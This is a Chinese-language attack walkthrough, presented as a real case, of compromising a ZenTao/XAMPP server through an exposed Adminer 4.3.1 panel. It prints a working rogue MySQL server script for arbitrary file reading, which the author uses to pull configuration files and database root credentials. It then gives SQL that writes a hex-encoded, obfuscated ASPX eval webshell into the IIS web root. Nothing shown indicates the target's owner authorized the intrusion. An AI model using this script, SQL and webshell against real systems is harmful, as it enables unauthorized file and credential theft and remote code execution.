从adminer入手到getshell-真实案例
“ 帅哥说话只说了一半,不知道为 ”
此篇案例来源于刨洞群里某人提问:
前期勘察
—
打开是一个 Adminer 的界面,如下图:
Adminer 程序在网站的 /adminer/ 目录下的,首页是个禅道的系统
这个 Adminer 应该是禅道默认安装上去的,并且站长没有给 Adminer 页面设置访问需要身份验证,所以我们是可以直接加路径访问到的
渗透过程
—
这里是利用 MySQL 反制的思路,在我们服务器上搭建一个 MySQL 蜜罐,让数据库连接平台反向来连接我们的蜜罐地址,这样我们就可以反向读取到他们服务器上的文件
这个任意文件读取漏洞来源于MySQL "LOAD DATA INFILE" 安全问题,Adminer 4.6.3 版本中已经修复了此问题,我们这里遇到的 Adminer 版本为 4.3.1
漏洞利用首先需要伪造一个恶意的 MySQL 公网服务器,网上有人用 Python 写了个 MySQL 蜜罐脚本,源码如下:
# -*- coding: utf-8 -*-
import socket
import os
import sys
#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------
def mysql_get_file_content(sv, filename):
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
if len(content) > 4:
with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
txt.write(content)
return True
else:
return False
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)
while True:
filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = mysql_get_file_content(sv, filename)
if res:
print "Read Success! ---> "+filename
else:
print "Not Found~ ---> "+filename
脚本是使用 Python2 编写的
使用方法:python2 exp.py 3307
后面跟上本地开放的服务端口
启动成功后,我们回到 Adminer 进行连接,服务器填写这台服务器的 IP,账号密码任意,点击登录即可
这里转圈圈不用理会
回到自己的服务器,在脚本监听终端输入要读取的文件名,例:index.php
成功读取到当前目录下 Adminer 的源码
读取到的文件会在当前目录下新建一个 log 文件夹进行保存
查看 index.php 文件内容
Adminer 会报错,用我们填写的账号密码连接上数据库是执行不了命令的
通过 Adminer 的报错我们拿到了网站的绝对路径,这是个好兆头
通过路径发现网站是 xampp 集成环境搭建的
尝试读取 Apache 默认配置文件路径:D:\xampp\apache\conf\httpd.conf
读取到了
查看 Apache 配置文件得到禅道的绝对路径:D:/xampp/zentao/www/
根据我们拿到的路径再读取 MySQL 配置文件
禅道默认数据库配置文件地址如下:D:\xampp\zentao\config\my.php
成功拿到了数据库的账号密码
第一件事,先登录进去截个图
然后退出登录
现在我们拿到了数据库的 root 账号,Getshell 的思路就是登录 Adminer 执行 SQL 语句,使用 INTO OUTFILE 直接写 shell
但是这里写 shell 遇到一个坑!!!
传上去的脚本死活不解析,禅道目录也试过了,都不解析
峰回路转
—
最后通过 ping 网站域名,得到 IP 地址
直接访问这个网站的 IP 地址,发现存在 IIS 的默认页面
天无绝人之路,此站点还开放了 IIS 服务,那就尝试从 IIS 写马
IIS 默认路径如下:C:\inetpub\wwwroot\
可成功写入文件
经测试,此 IIS 服务器只支持 Aspx,但是 Aspx 的特殊字符比较多,直接执行 INTO OUTFILE 语句会报错,解决方法如下:
先创建一个 a_aspx 表
CREATE TABLE a_aspx(udf BLOB);
再将 Aspx 的一句话转换成 Hex 格式
这里通过一个 Python 小脚本进行转换
代码如下:
import binascii
filename = 'test.aspx'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
运行:
将执行的结果复制,在前面加上 "0x"
最终结果如下:
然后把 Hex 结果写入到我们刚才创建的 a_aspx 表中
SQL 语句如下:
INSERT into a_aspx values (CONVERT(0x3c25402050616765204c616e6775616765203d204a73637269707420253e0d0a3c257661722f2a2d2f2a2d2a2f502f2a2d2f2a2d2a2f3d2f2a2d2f2a2d2a2f2265222b2276222b2f2a2d2f2a2d2a2f0d0a2261222b226c222b2228222b2252222b2265222b2f2a2d2f2a2d2a2f2271222b2275222b2265222f2a2d2f2a2d2a2f2b2273222b2274222b0d0a225b2f2a2d2f2a2d2a2f302f2a2d2f2a2d2a2f2d2f2a2d2f2a2d2a2f322f2a2d2f2a2d2a2f2d2f2a2d2f2a2d2a2f352f2a2d2f2a2d2a2f5d222b0d0a222c222b225c22222b2275222b226e222b2273222f2a2d2f2a2d2a2f2b2261222b2266222b2265222b225c22222b2229223b6576616c0d0a282f2a2d2f2a2d2a2f502f2a2d2f2a2d2a2f2c2f2a2d2f2a2d2a2f2275222b226e222b2273222f2a2d2f2a2d2a2f2b2261222b2266222b2265222f2a2d2f2a2d2a2f293b253e,CHAR));
执行:
再将 a_aspx 表中的内容导出到 web 目录下的脚本文件内即可
SQL 语句如下:
SELECT udf FROM a_aspx INTO DUMPFILE " C:/inetpub/wwwroot/a.aspx";
执行:
成功 Getshell
致敬伟大的中国菜刀!